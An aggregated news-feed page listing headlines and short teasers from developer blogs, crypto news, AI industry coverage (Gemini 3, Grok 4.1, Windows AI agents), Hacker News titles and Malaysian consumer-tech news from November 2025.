    Why 90% of AI Apps Fail to Monetize Effectively — And How Monetzly Can Change That As AI applications continue to flood the market, it’s alarming to see that 90% of them fail to monetize effectively. What’s behind this staggering statistic? Most AI apps struggle to create sustainable revenue models without alienating users. Enter Monetzly—your solution for smarter monetization in AI conversations. The landscape of AI app development is rapidly evolving. Developers face immense pressure to deliver innovative solutions, yet many overlook a critical element: monetization. Traditional models, like subscriptions or paywalls, often disrupt user experience, leading to churn and low engagement. Monetzly flips this paradigm on its head with its dual-earning platform. Here’s how it works: develop…  ( 7 min )
    The C# Developer’s CURL Copy-Paste Conundrum
    Introduction: The C# Developer’s CURL Copy-Paste Conundrum Bridging Bash and .NET: Harnessing CurlDotNet for Linux-Compatible REST API Magic It’s 2 AM on deployment night, and I’m staring at a cURL example from Stripe’s docs. You know the moment — a dozen browser tabs open, half-written unit tests, and now I’m translating a curl command into C#. Again. API docs everywhere default to curl. Stripe, GitHub, Twilio, OpenAI — they all hand you a Bash-friendly snippet and expect you to mentally map: -H becomes a header object -d becomes JSON content -u becomes basic auth Oh, and don’t forget that one weird header that silently breaks everything if you miss it If you’re building C# apps on Linux, the friction gets real. We love Bash. We love .NET. But the two ecosystems don’t always sh…  ( 9 min )
    Mobile Marketing in 2025: Why Your Desktop Strategy Is Costing You Conversions
    Let me guess: you optimized your website for mobile by making sure it "looks okay" on your phone. Maybe ran it through Google's Mobile-Friendly Test, got a green checkmark, called it a day. Here's the thing—73% of web traffic now comes from mobile devices. But here's what keeps me up at night: mobile conversion rates still lag desktop by an average of 30-40%. We're not talking about a small gap anymore. We're talking about leaving massive revenue on the table because we're still treating mobile like desktop's smaller, less important sibling. I've spent the last year auditing mobile experiences for e-commerce and SaaS companies. The pattern is consistent and frustrating: beautiful desktop sites that turn into thumb-hostile nightmares the moment you pull out your phone. It's 2025, and we're …  ( 11 min )
    3d designs repo
    With my first post here on dev.to, I thought it might be nice to just present my existing github repo of 3d designs. I want to actually get off of GitHub for the most part and make my tech/makery stuff more as a social media account. This is where I am starting. Without too much more, you can find my repo for 3d designs here: https://github.com/BoyoLabs/3dDesigns These are not all of the designs I have ever made, I just don't want to share ones that are more personal. Regardless, all of my designs will always have been printed. I also do context engineering and AI stuff, so keep a look out for that!  ( 6 min )
    Step-by-Step: Implementing Custom Decorators in NestJs Using Class-Validator and Drizzle
    When building APIs, you must validate your inputs and outputs. If your API accepts any data, failure is only a matter of time. Instead of adding more ifs, use declarative validation: NestJS + class-validator + class-transformer, an async constraint that queries your DB, and a custom decorator integrated with the container. Result: errors stopped before the service layer and reusable rules across all your DTOs, with less duplicated logic. In this tutorial, I'll teach you how to build your own custom decorator to prevent these scenarios. Let's start with a base project. I have a template repository with a RESTful API using NestJS as the framework, PostgreSQL as the database, and Drizzle as the ORM—but you can create your own. This is the repo I'm using: https://github.com/RubenOAlvarado/nes…  ( 12 min )
    Why SaaS SEO Needs More Than Just Good Content in 2025
    Working with SaaS teams over the years has taught me that SEO isn’t as straightforward as many expect. The usual assumption is that publishing more blog posts will eventually lead to organic traction. I made the same mistake early in my career. I helped a SaaS tool publish around twenty articles in a single month, expecting results to follow. They didn’t. The problem wasn’t effort. It was direction. Modern SaaS SEO is different because search intent is fluid and users behave more like researchers than casual browsers. They compare, validate and dig deep before committing to a subscription. That’s why a structured approach matters, something I noticed when exploring how MADX organizes its service framework. Here’s a simple enumeration that reflects what SaaS teams often miss: SEO must conne…  ( 7 min )
    Why Silicon Valley Is Quietly Migrating to Chinese AI Models
    Airbnb's Brian Chesky dropped a bombshell in October 2025 that most tech leaders saw coming but few dared to acknowledge publicly: his company "relies heavily" on Alibaba's Qwen models to power its AI-driven customer service agent. This from the personal friend of OpenAI's Sam Altman, essentially admitting that when the rubber meets the road, cost and performance trump loyalty. Around the same time, venture capitalist Chamath Palihapitiya revealed his firm had migrated major workloads from OpenAI and Anthropic to Moonshot AI's Kimi K2 because it was "way more performant and frankly just a ton cheaper." Welcome to AI's Sputnik moment. While Washington celebrates chip export controls and trillion-dollar infrastructure plans, Chinese AI models are infiltrating Silicon Valley through the o…  ( 14 min )
    Kafka
    Apache Kafka is an open-source distributed event-streaming platform. Let’s break this into simple words: Event Streaming This refers to two activities: Producing events (sending continuous data/messages) Consuming events (reading and processing the data continuously) Example: Pays someone Books a ticket Recharges mobile An event is created. millions of events per second. All these events are streamed to Kafka in real-time. Then, another application (consumer) reads these events from Kafka. For example: Check if a user exceeded daily transaction limits Detect fraud Send notifications So, event streaming = continuous sending + continuous processing. 2. Why is Kafka called distributed? “Distributed” means Kafka runs on multiple servers across different regions. Multiple brokers (servers) …  ( 14 min )
    Máquinas EC2 na AWS: Guia Completo sobre Computação em Nuvem
    O Amazon Elastic Compute Cloud (EC2) é um dos serviços mais fundamentais e populares da Amazon Web Services (AWS). Ele oferece capacidade computacional escalável na nuvem, permitindo que empresas e desenvolvedores executem aplicações sem a necessidade de investir em infraestrutura física. Neste artigo, vamos explorar em detalhes o que são as instâncias EC2, suas características, tipos e como utilizá-las efetivamente. O Amazon EC2 é um serviço web que fornece capacidade computacional redimensionável na nuvem. Em termos simples, são servidores virtuais que você pode provisionar em minutos e pagar apenas pelo tempo de uso. O conceito de "elasticidade" no nome refere-se à capacidade de aumentar ou diminuir a capacidade computacional rapidamente conforme as necessidades da sua aplicação. As ins…  ( 10 min )
    dev diary 20251117
    AWS Amplify Gen2 deployment i tried to production deploy test code with amplify. I have already check the developing application work in sandbox. it' OK. in amplify gen2, the deploy of production is executed not by command prompt like the other process, but with aws console. after opening the aws amplify in aws console, it's easy to deploy along with the guide. the local application link to amplify through github repository. i tried production deployment like above, the deployment failed because of variant type of "moduleResolution". then my countermeasure is; { "compilerOptions": { "target": "ES2017", "lib": ["dom", "dom.iterable", "esnext"], "allowJs": true, "skipLibCheck": true, "strict": true, "noEmit": true, "esModuleInterop": true, //"module": "esnext", "module": "NodeNext", // 変更 "moduleResolution": "NodeNext", // 変更 // ---------------------------------------------------------- // 💡 修正 1: .ts拡張子のインポートを許可する設定を追加 "allowImportingTsExtensions": true, // 💡 修正 2: Next.js + Amplify Gen 2で推奨される設定に調整 "moduleResolution": "NodeNext", // ---------------------------------------------------------- "resolveJsonModule": true, "isolatedModules": true, "jsx": "react-jsx", the original setting is default of next.js project. so in future at every time i build develop folder, it's necessary. in this process, i completed the product pipeline. if i update the application, i change the local file and then; git add . staging upload git commit -m "changing description" commit to local git git push push to remote repository i can reflect the local change to product just with this !! i have already prepared the full stack app dev. i keep this dev folder as template for the next. and now i have to focus on generate idea of my app.  ( 6 min )
    Build Multi-Agent Systems Using the Agents as Tools Pattern
    In my last post I covered the Graph pattern and how structured, deterministic workflows can orchestrate multiple agents like a symphony orchestra following a conductor's score.👇🏼 Strands Multi-Agent Systems: Graph Laura Salinas for AWS ・ Oct 31 #aws #agents #ai #learning In this final post in this multi agent series, I'm diving into Agents as Tools. I'll share code snippets and examples that you can follow along with to build your own multi-agent system. While Graphs provide structured coordination through dependencies and Swarms enable autonomous collaboration, the Agents as Tools pattern brings hierarchical delegation to multi-agent orchestration. Instead of a single agent trying to handle everything, tasks are delegated to the most appropriate specialize…  ( 10 min )
  • Open

    Kraken Scores $800M Raise Backed by $200M Citadel Investment
    The funding, which values Kraken at $20B, accelerates plans to integrate traditional markets with crypto infrastructure across multiple regions.  ( 34 min )
    'Permissionless Assets’: Robinhood’s 3-Phase Tokenization Plan to Disrupt TradFi
    Robinhood is working on infrastructure developments, said Offchain Labs' A.J. Warner, including 24/7 trading, and leveraging technologies like Arbitrum Stylus for compatibility.  ( 34 min )
    Canada Approves Budget That Advances Policy for Stablecoins
    The Canadian government narrowly won favor in Parliament for its budget push that includes a new policy governing stablecoins.  ( 34 min )
    Chainlink's LINK Bounces 4% to Near $14 as Cryptos Rebound
    LINK could target $14.50 if momentum sustains, CoinDesk Research's analysis tool suggested.  ( 34 min )
    Bitcoin Backwardation Returns, a Pattern That Often Marks Market Bottoms
    Futures prices for BTC are trading below spot prices, signaling "extreme fear," which can sometimes be read as a contrarian buy signal.  ( 34 min )
    Sen. Warren Keeps Pressure on Trump Crypto Ties as Market Structure Bill Negotiated
    Senator Elizabeth Warren is maintaining political heat on President Trump's World Liberty Financial business interests in a letter to the Treasury and DOJ.  ( 35 min )
    Cloudflare Outage Sends Shockwaves Through Crypto, Renewing Push for DePIN
    Some in the crypto world have called for DePIN to be more widely adopted to combat internet outage issues.  ( 34 min )
    Bitcoin Gains Tuesday as Traditional Markets Slump in Rare Occurrence of Crypto Outperformance
    After plunging below $90,000 overnight, BTC has regained the $93,000 level in U.S. morning action.  ( 32 min )
    U.S. Regulator OCC Clarifies How Banks Can Handle Network 'Gas Fees'
    The U.S. Office of the Comptroller of the Currency explained to the national banks it oversees how they can hold crypto for paying gas fees.  ( 34 min )
    Société Générale’s SG-FORGE Issues First Tokenized Bond in U.S.
    The bond uses Broadridge Financial Solutions' tokenization technology and runs on the Canton Network, a privacy-enabled blockchain infrastructure.  ( 33 min )
    Bitcoin Sell-Off Likely 'Complete', Rally Into Year-End Still in Play: StanChart Analyst
    Standard Chartered’s Geoffrey Kendrick says bitcoin’s steep decline is part of a recurring pattern, with a rebound into year-end in his base case.  ( 34 min )
    XLM Slips 3.2% to $0.25 as Altcoin Purge Continues
    Stellar drops from $0.2577 amid broad consolidation, but technical bounce from $0.248 signals buying interest remains intact.  ( 34 min )
    Revolut Enlists Polygon for Stablecoin Remittances in UK and EEA
    Revolut customers in the UK and non-European Union EEA countries can do crypto remittances in USDC, USDT, and POL.  ( 33 min )
    Obex Raises $37M to Build 'Y Combinator' for RWA-Backed Stablecoins, Led by Framework, Sky
    The incubator aims to fund stablecoin projects backed by compute, energy and fintech credit using Sky's up to $2.5 billion commitment, Framework Ventures' Vance Spencer said in an interview.  ( 34 min )
    HBAR Drops 6% to $0.144 as Technical Breakdown Accelerates
    Hedera's native token cracked key support levels on surging volume, forming double-bottom pattern before late-session stabilization attempts.  ( 34 min )
    CoinDesk 20 Performance Update: Solana (SOL) Rises 5.8%, Leading Index Higher
    Aptos (APT) was also a top performer, gaining 5.3% from Monday.  ( 30 min )
    Bitcoin Hashprice Falls to Five-Year Low
    Falling revenue and record difficulty could tighten the squeeze on bitcoin miners, though many are more driven by their AI infrastructure initiatives.  ( 34 min )
    Fidelity Introduces FSOL ETF, Bringing Major Wall Street Name to Solana Funds
    The firm’s staking-enabled Solana fund debuts as inflows into early SOL products accelerate.  ( 33 min )
    Tether Invests in Ledn to Expand Bitcoin-Backed Lending Amid Surging Demand
    The stablecoin issuer's investment comes as BTC-backed lending scales rapidly, with Ledn surpassing $1 billion in originations this year and positioning for global expansion.  ( 33 min )
    Cloudflare Global Outage Spreads to Crypto; Multiple Front Ends Down
    A widespread Cloudflare outage disrupted major parts of the internet on Tuesday, knocking many crypto platforms offline.  ( 32 min )
    Bonds Hint at Rebound: Crypto Daybook Americas
    Your day-ahead look for Nov. 18, 2025  ( 40 min )
    Crypto Markets Today: Fear Grips Market as BTC Tests Support, Volatility Spikes
    Bitcoin hovered near $91,000 as sentiment hit "extreme fear," volatility jumped and leveraged traders absorbed over $1 billion in liquidations while altcoins fell further.  ( 36 min )
    Bitcoin Correction Mirrors April Drop as 2025 Buyers Fall Into the Red
    Market drawdown pushes bitcoin below 2025 key cost basis levels.  ( 33 min )
    Deutsche Börse to Add SocGen’s MiCA Stablecoins to Core Market Systems
    Move brings regulated euro and dollar stablecoins into Deutsche Börse’s settlement and collateral tools.  ( 34 min )
    Record $1.26B Outflow Hits BlackRock Bitcoin ETF as Bearish Options Cost Soars
    The price of IBIT has dropped 16% to $52, a level last seen in April.  ( 33 min )
    Mastercard Picks Polygon to Bring Verified Usernames to Self-Custody Wallets
    Move introduces verified aliases for crypto transfers and adds an ID layer to self-custody tools.  ( 34 min )
    Bitcoin Dominance is Bleeding With Price, But Market Observers Say Altcoin Season is on Hold
    Bitcoin’s drawdown, alongside cross-pair stability and steady on-chain activity, points to a market clearing excess leverage rather than shifting into a high-beta altcoin run.  ( 34 min )
    El Salvador Buys 1,090 BTC as Prices Drop and IMF Pressure Mounts
    The country has added nearly 100 million dollars to the national bitcoin treasury as BTC trades below $90k.  ( 32 min )
    Dogecoin Eyes Rebound After Multi-Year Trendline Break Tests $0.15 Floor
    The memecoin's technical structure is weakened, with key support at $0.1520 needing to hold to prevent further declines.  ( 35 min )
    XRP Pulls Back From $2.27 Peak Yet Maintains Uptrend Structure Above $2.15
    Traders should watch the $2.15 pivot, as holding this level could lead to a bounce, while a break below may trigger further declines.  ( 35 min )
    Mt. Gox Moves $956M Worth of BTC As Prices Tank
    The latest on-chain move comes as BTC's spot price continues to slide.  ( 32 min )
    What Next For Bitcoin as BTC RSI Flashes Oversold Signal?
    BTC looks oversold, according to the 14-day RSI indicator.  ( 33 min )
    Bitcoin Crashes Under $90K as Death Cross Creates 'Extreme Fear' Sentiment
    The drop to $89,420 — its lowest level since February — comes just six weeks after prices topped out at a record $126,250, marking a sharp reversal.  ( 34 min )
    FDT Welcomes Dubai’s $456M Freeze as Techteryx Seeks to Recover TrueUSD Reserves from Aria
    In a statement to CoinDesk, FDT's Vincent Chok said his company "welcomes any steps that assist Techteryx in pursuing recovery of its funds from the Aria entities."  ( 33 min )
    Asia Morning Briefing: Even Prediction Markets Didn’t See Bitcoin’s Selloff Coming
    A fast reset in downside odds mirrors QCP’s warning of flat-footed pro desks, with Glassnode highlighting oversold momentum and moderating ETF outflows.  ( 34 min )
  • Open

    How to Use to Docker with Node.js: A Handbook for Developers
    In this handbook, you’ll learn what Docker is, why it’s become an essential, must-have skill for backend and full-stack developers in 2025, and most importantly, how to use it in real-world projects from start to finish. We will go far beyond the usu...  ( 40 min )
    How to Compress Your Prompts and Reduce LLM Costs
    Every developer working with large language models eventually faces the same challenge: prompts keep getting longer, models keep getting slower, and API bills keep getting higher. Whether you’re building a retrieval-augmented generation (RAG) system ...  ( 7 min )
    Level Up Your JavaScript – Detect Smells & Write Clean Code
    We just posted course on freeCodeCamp.org YouTube channel that will teach you how to transform messy, hard-to-maintain JavaScript code into clean, readable, and professional-quality code that scales. This course was developed by Tapas Adhikary. He'll...  ( 3 min )
  • Open

    Musk's xAI launches Grok 4.1 with lower hallucination rate on the web and apps — no API access (for now)
    In what appeared to be a bid to soak up some of Google's limelight prior to the launch of its new Gemini 3 flagship AI model — now recorded as the most powerful LLM in the world by multiple independent evaluators — Elon Musk's rival AI startup xAI last night unveiled its newest large language model, Grok 4.1. The model is now live for consumer use on Grok.com, social network X (formerly Twitter), and the company’s iOS and Android mobile apps, and it arrives with major architectural and usability enhancements, among them: faster reasoning, improved emotional intelligence, and significantly reduced hallucination rates. xAI also commendably published a white paper on its evaluations and including a small bit on training process here. Across public benchmarks, Grok 4.1 has vaulted to the top…
    Google unveils Gemini 3 claiming the lead in math, science, multimodal and agentic AI benchmarks
    After more than a month of rumors and feverish speculation — including Polymarket wagering on the release date — Google today unveiled Gemini 3, its newest proprietary frontier model family and the company’s most comprehensive AI release since the Gemini line debuted in 2023. The models are proprietary (closed-source), available exclusively through Google products, developer platforms, and paid APIs, including Google AI Studio, Vertex AI, the Gemini CLI, and third-party integrations across the broader IDE ecosystem. Gemini 3 arrives as a full portfolio, including: Gemini 3 Pro: the flagship frontier model Gemini 3 Deep Think: an enhanced reasoning mode Generative interface models powering Visual Layout and Dynamic View Gemini Agent for multi-step task execution Gemini 3 engine embedd…
    Writer's AI agents can actually do your work—not just chat about it
    Writer, a San Francisco-based artificial intelligence startup, is launching a unified AI agent platform designed to let any employee automate complex business workflows without writing code — a capability the company says distinguishes it from consumer-oriented tools like Microsoft Copilot and ChatGPT. The platform, called Writer Agent, combines chat-based assistance with autonomous task execution in a single interface. Starting Tuesday, enterprise customers can use natural language to instruct the AI to create presentations, analyze financial data, generate marketing campaigns, or coordinate across multiple business systems like Salesforce, Slack, and Google Workspace—then save those workflows as reusable "Playbooks" that run automatically on schedules. The announcement comes as enterpris…
    Microsoft remakes Windows for an era of autonomous AI agents
    Microsoft is fundamentally restructuring its Windows operating system to become what executives call the first "agentic OS," embedding the infrastructure needed for autonomous AI agents to operate securely at enterprise scale — a watershed moment in the evolution of personal computing that positions the 40-year-old platform as the foundation for a new era of human-machine collaboration. The company announced Tuesday at its Ignite conference that it is introducing native agent infrastructure directly into Windows 11, allowing AI agents — autonomous software programs that can perform complex, multi-step tasks on behalf of users — to discover tools, execute workflows, and interact with applications through standardized protocols while operating in secure, policy-controlled environments separa…
    How AI tax startup Blue J torched its entire business model for ChatGPT—and became a $300 million company
    In the winter of 2022, as the tech world was becoming mesmerized by the sudden, explosive arrival of OpenAI’s ChatGPT, Benjamin Alarie faced a pivotal choice. His legal tech startup, Blue J, had a respectable business built on the AI of a bygone era, serving hundreds of accounting firms with predictive models. But it had hit a ceiling. Alarie, a tenured tax law professor at the University of Toronto, saw the nascent, error-prone, yet powerful capabilities of large language models not as a curiosity, but as the future. He made a high-stakes decision: to pivot his entire company, which had been painstakingly built over nearly a decade, and rebuild it from the ground up on this unproven technology. That bet has paid off handsomely. Blue J has since quietly secured a $122 million Series D fund…
    Google Antigravity introduces agent-first architecture for asynchronous, verifiable coding workflows
    Googlefocused launched yet another coding agent platform, this time focusing on developer teams collaborating to create agents that can execute complex tasks automatically. The platform, called Antigravity, is powered by Gemini 3 and is now available in public preview with “generous rate limits on Gemini 3 Pro usage.”  Antigravity is an agentic coding platform that aims to “evolve the IDE towards an agent-first future with browser control capabilities, asynchronous interaction patterns, and an agent-first product form factor.”  For the public preview, Antigravity users can build agents using Gemini 3, as well as other leading models such as Anthropic’s Sonnet 4.5 models and OpenAI, open-source GPT-oss. It will be compatible with developer environments running on major operating systems like macOS, Linux, and Windows.  “We want Antigravity to be the home base for software development in the era of agents,” Google said in a blog post. “Our vision is to ultimately enable anyone with an idea to experience liftoff and build that idea into reality.”
    Microsoft’s Agent 365 shifts AI agents from sandbox tools to enterprise-grade infrastructure
    Managing and maintaining AI systems remains a challenge for many enterprises, particularly with the potential for agentic sprawl to expose businesses to risky entry points.  Microsoft entered the observability fray with the launch of Agent 365 during its annual Ignite conference Tuesday. It described Agent 365 as the control plane for AI agents, serving as an observability layer for enterprises running any agent. The company said the platform “delivers unified observability” through telemetry, dashboards, and alerts to track every agent in use. Agent 365 supports any agents, whether built on Microsoft’s platforms or from third parties, including Adobe, Databricks, Cognition, and ServiceNow.  “Agent 365 marks a new chapter in how organizations build, secure, and scale their agents. This is …
  • Open

    Networking for AI: Building the foundation for real-time intelligence
    The Ryder Cup is an almost-century-old tournament pitting Europe against the United States in an elite showcase of golf skill and strategy. At the 2025 event, nearly a quarter of a million spectators gathered to watch three days of fierce competition on the fairways. From a technology and logistics perspective, pulling off an event of…  ( 25 min )
    Realizing value with AI inference at scale and in production
    Training an AI model to predict equipment failures is an engineering achievement. But it’s not until prediction meets action—the moment that model successfully flags a malfunctioning machine—that true business transformation occurs. One technical milestone lives in a proof-of-concept deck; the other meaningfully contributes to the bottom line. Craig Partridge, senior director worldwide of Digital Next…  ( 24 min )
    Google’s new Gemini 3 vibe-codes its responses and comes with its own agent
    Google today unveiled Gemini 3, a major upgrade to its flagship multimodal model. The firm says the new model is better at reasoning, has more fluid multimodal capabilities (the ability to work across voice, text or images), and will work like an agent.  The previous model, Gemini 2.5, supports multimodal input. Users can feed it…  ( 20 min )
    The Download: AI-powered warfare, and how embryo care is changing
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. The State of AI: How war will be changed forever —Helen Warrell & James O’Donnell It is July 2027, and China is on the brink of invading Taiwan. Autonomous drones with AI targeting…  ( 22 min )
  • Open

    Cloudflare Technical Issues Disrupt Websites And Services Worldwide
    Experiencing issues loading certain websites (including ours) or refreshing your feed on X? You’re not alone, as global network provider Cloudflare is currently facing technical problems on its end. The issue has persisted, albeit inconsistently, since around 7:30pm this evening. Affected users are greeted with a 500 Internal Error page when accessing certain sites, which […] The post Cloudflare Technical Issues Disrupt Websites And Services Worldwide appeared first on Lowyat.NET.  ( 33 min )
    MOT To Overhaul Kejara Demerit System; Implementation Begins In 2026
    Transport Minister Anthony Loke has announced that the Malaysian government is moving forward with a major reform of the Kejara demerit system. According to him, the Transport Ministry (MOT) expects to complete the technical overhaul of the system by the first half of 2026, with enforcement measures to be introduced in stages during the second […] The post MOT To Overhaul Kejara Demerit System; Implementation Begins In 2026 appeared first on Lowyat.NET.  ( 35 min )
    Stills For Live-Action Legend Of Zelda Movie Is Out And It Looks Promising
    After Pikachu and Mario dipped their toes into the big screen, it was only a matter of time before Nintendo’s other major IP followed suit, and things are looking quite promising. Earlier today, the Japanese gaming giant revealed their first look into the upcoming Legend of Zelda movie. Nintendo released the images earlier today through […] The post Stills For Live-Action Legend Of Zelda Movie Is Out And It Looks Promising appeared first on Lowyat.NET.  ( 38 min )
    Works Ministry Evaluates JustGo System For ANPR Based Toll Payments
    A few days ago, Works Minister Datuk Seri Alexander Nanta Linggi announced that the open payment toll collection system utilising Automatic Number Plate Recognition (ANPR) technology was in the Request for Proposal (RFP) stage. Later, it was reported that some of the alleged entities have submitted proposals, which include JustGo Digital Bhd. Recently, Deputy Works […] The post Works Ministry Evaluates JustGo System For ANPR Based Toll Payments appeared first on Lowyat.NET.  ( 34 min )
    Illegear Launches SWIF 27 UItra Monitor; Retails For RM1,699
    Illegear is introducing the SWIF 27 Ultra gaming monitor. Specifically, the display is a dual-mode gaming monitor, capable of switching between two resolutions and refresh rates. Specs-wise, the SWIF 27 Ultra is a 27-inch monitor with an IPS panel. Regarding its dual-mode nature, the monitor has the ability to switch between two native resolutions and […] The post Illegear Launches SWIF 27 UItra Monitor; Retails For RM1,699 appeared first on Lowyat.NET.  ( 34 min )
    Suzuki Malaysia Launches Fronx Hybrid; Priced At RM147,888
    Suzuki Malaysia and its sole distributor, Naza Eastern Motors Sdn Bhd, has launched the Fronx Hybrid for the local market. It only comes in one version, compared to the variants that were expected as in the Indonesian market. Design-wise, the Fronx features a coupe-like silhouette and dimensions of 3,995 mm in length, 1,765 mm in […] The post Suzuki Malaysia Launches Fronx Hybrid; Priced At RM147,888 appeared first on Lowyat.NET.  ( 37 min )
    Goodbye GrabRewards, Hello GrabCoins: Enjoy More Exciting Ways To Earn & Spend
    For years, Malaysians have enjoyed the incredible benefits and discounts provided by Grab and its GrabRewards programme. However, you might be surprised that it’s now getting a fresh coat of paint. Moving forward, GrabRewards will now be known as GrabCoins and to celebrate the occasion, Grab is giving you even more ways to earn these […] The post Goodbye GrabRewards, Hello GrabCoins: Enjoy More Exciting Ways To Earn & Spend appeared first on Lowyat.NET.  ( 36 min )
    Nintendo eShop, Switch Online Membership Launched In Malaysia; Starts From RM13/Month
    Last month, Nintendo announced that it will be introducing Nintendo eShop and Nintendo Switch Online in the Southeast Asia region, including Malaysia. Now, just as promised, the services are officially available here. The eShop is directly accessible through the Switch or Switch 2, allowing players to purchase and download games and other content. Of course, […] The post Nintendo eShop, Switch Online Membership Launched In Malaysia; Starts From RM13/Month appeared first on Lowyat.NET.  ( 35 min )
    Apple 14-Inch MacBook Pro With M5 Chip Now Available In Malaysia
    The new 14-inch MacBook Pro with the M5 chip is now available for purchase in Malaysia. Apple says the laptop is currently limited to orders through its official website, with in-store availability at The Exchange 106 and authorised retailers beginning tomorrow, 19 November 2025. Introduced last month, the new 14-inch MacBook Pro retains the design […] The post Apple 14-Inch MacBook Pro With M5 Chip Now Available In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Gigabyte Launches X870E Aorus Xtreme X3D AI TOP Motherboard
    Gigabyte officially launched its new X870E Aorus Xtreme X3D AI TOP motherboard. As per the brand’s official press release, the motherboard is purpose-built for AMD’s Ryzen X3D CPUs and comes equipped with many modern PC features. Chief among the features is an X3D Turbo Mode 2.0, thanks to a new built-in AI model and improved […] The post Gigabyte Launches X870E Aorus Xtreme X3D AI TOP Motherboard appeared first on Lowyat.NET.  ( 35 min )
    Future Apple iPhone Pro Cases Might Get Touch Sensitive Controls
    For the most part, phone cases are decorative accessories that serve a protective purpose. At the moment, cases that add some form of functionality are few and far between, but Apple might be looking to change that. At least, if a recent rumour proves to be accurate. In a Weibo post, leakster Instant Digital claimed […] The post Future Apple iPhone Pro Cases Might Get Touch Sensitive Controls appeared first on Lowyat.NET.  ( 35 min )
    Alleged Samsung Galaxy Buds 4 Pro Leaks In One UI 8.5 Animations
    The eagle-eyed writers at Android Authority claim to have discovered what they allege to be Samsung’s next generation Galaxy Buds 4 Pro wireless earbuds. As to where they found it, it was apparently hidden within the animation of the leaked One UI 8.5. Mention of the Buds 4 Pro have been popping up at regular […] The post Alleged Samsung Galaxy Buds 4 Pro Leaks In One UI 8.5 Animations appeared first on Lowyat.NET.  ( 35 min )
    iPhone Air Designer Reportedly Exits Apple
    Apple’s design division has been hit with another high-profile departure, Bloomberg’s Mark Gurman reports. This time around is industrial designer Abidur Chowdhury, who helped create and introduced the new iPhone Air back in September. According to people familiar with the matter, Chowdhury has quietly left the company for an artificial intelligence startup. Gurman adds that […] The post iPhone Air Designer Reportedly Exits Apple appeared first on Lowyat.NET.  ( 34 min )
    Disney+ To Raise Subscription Prices; Starts From RM29.90/month
    Not too long ago, Disney renamed its streaming service for the local market to Disney+. Following this change, the company has announced a price hike for its subscription plans. The updated pricing will take effect next month, starting from 18 December 2025. According to a post on the streaming platform’s helpdesk page, Disney+ Basic Monthly […] The post Disney+ To Raise Subscription Prices; Starts From RM29.90/month appeared first on Lowyat.NET.  ( 34 min )
    LRT3 Operations Delayed Again; May Start At Tail-End Of 2025 Or Next Year
    Transport Minister Anthony Loke has announced that the target date of operations for the Light Rail Transit 3 (LRT3) line has been pushed back to 31 December 2025 or later, depending on the outcome of ongoing tests. This marks yet another delay for the new 37.8km line, which was previously slated to commence in September, […] The post LRT3 Operations Delayed Again; May Start At Tail-End Of 2025 Or Next Year appeared first on Lowyat.NET.  ( 35 min )

  • Open

    Windows 11 adds AI agent that runs in background with access to personal folders
    Comments  ( 14 min )
    Show HN: Parqeye – A CLI tool to visualize and inspect Parquet files
    Comments  ( 7 min )
    Three Hapsburgs and a Reporter Walk into a Canadian Vault
    Comments
    Private equity firms are snapping up mobile home parks, driving out residents
    Comments  ( 14 min )
    Show HN: My hobby OS that runs Minecraft
    Comments  ( 4 min )
    More liberals, people of color and LGBTQ say they're buying guns out of fear
    Comments  ( 7 min )
    Ion: Modern System Shell in Rust
    Comments  ( 13 min )
    Run ancient Unix on modern hardware
    Comments  ( 32 min )
    What Influence Has the BBC Had on History?
    Comments  ( 6 min )
    Grok 4.1
    Comments
    Ask HN: How are Markov chains so different from tiny LLMs?
    Comments  ( 3 min )
    Almost all Collatz orbits attain almost bounded values
    Comments  ( 10 min )
    Two recently found works of J.S. Bach presented in Leipzig [video]
    Comments
    Compiling Ruby to Machine Language
    Comments  ( 5 min )
    Show HN: PrinceJS – 19,200 req/s Bun framework in 2.8 kB (built by a 13yo)
    Comments
    Implementing Rust newtype for errors in axum
    Comments  ( 6 min )
    Pyrotechnic Display Design Software
    Comments  ( 8 min )
    Towards Interplanetary QUIC Traffic
    Comments  ( 8 min )
    An official atlas of North Korea
    Comments  ( 20 min )
    Reselling tickets for profit to be outlawed in UK government crackdown
    Comments  ( 15 min )
    Show HN: Kalendis – Scheduling API (keep your UI, we handle timezones/DST)
    Comments  ( 4 min )
    Show HN: Building WebSocket in Apache Iggy with Io_uring and Completion Based IO
    Comments  ( 8 min )
    EEG-based neurofeedback in athletes and non-athletes
    Comments  ( 52 min )
    DESI's Dizzying Results
    Comments  ( 4 min )
    Azure hit by 15 Tbps DDoS attack using 500k IP addresses
    Comments  ( 8 min )
    Azure hit by 15 Tbps DDoS attack using 500k IP addresses
    Comments  ( 23 min )
    A new book recovers the origins of Effective Altruism
    Comments  ( 18 min )
    The Baumol Effect and Jevons paradox are related
    Comments  ( 27 min )
    You only live once, self host a NAT Gateway
    Comments  ( 10 min )
    Cities Panic over Having to Release Mass Surveillance Recordings
    Comments  ( 22 min )
    When AWS was down, we were not
    Comments  ( 29 min )
    Israeli-founded app preloaded on Samsung phones is attracting controversy
    Comments  ( 14 min )
    You can now buy used Ford vehicles on Amazon
    Comments  ( 26 min )
    Living my best Sun Microsystems ecosystem life in 2025
    Comments  ( 54 min )
    How to See the Dead
    Comments  ( 37 min )
    Project Gemini
    Comments  ( 1 min )
    How to escape the Linux networking stack
    Comments  ( 11 min )
    WBlock: A New Ad-Blocker for Safari
    Comments  ( 11 min )
    Google is killing the open web, part 2
    Comments  ( 18 min )
    Show HN: Bsub.io – zero-setup batch execution for command-line tools
    Comments  ( 1 min )
    Show HN: 32V TENS device from built from scratch under $100
    Comments  ( 2 min )
    WeatherNext 2: Our most advanced weather forecasting model
    Comments  ( 14 min )
    Aldous Huxley predicts Adderall and champions alternative therapies
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  • Open

    deboa, a simple http client for rust
    Few months ago, I started an effort on create a very simple and easy to use http client. At first, I just tried to mimic the same approach as apisauce for NodeJS, but that didn’t sound appropriate, so I started to refactor to be more rust friendly lib. Once I moved forward with Deboa implementation, I started to brake it down by features, then by separate crates. Nowadays, Deboa is very modular and can take minimal space on final binary size. So far, whole Deboa ecosystem is made of following crates: deboa deboa-extras deboa-macros deboa-bora deboa-fory vamo vamo-macros In this post, we will cover Deboa and some of its features. Right now Deboa has the following features: tokio-rt smol-rt http1 http2 All the examples on this post are based on tokio-rt and http1. You can easy add Deboa to y…  ( 7 min )
    Customer Experience Design: Why Your Friction Map Matters More Than Your Journey Map
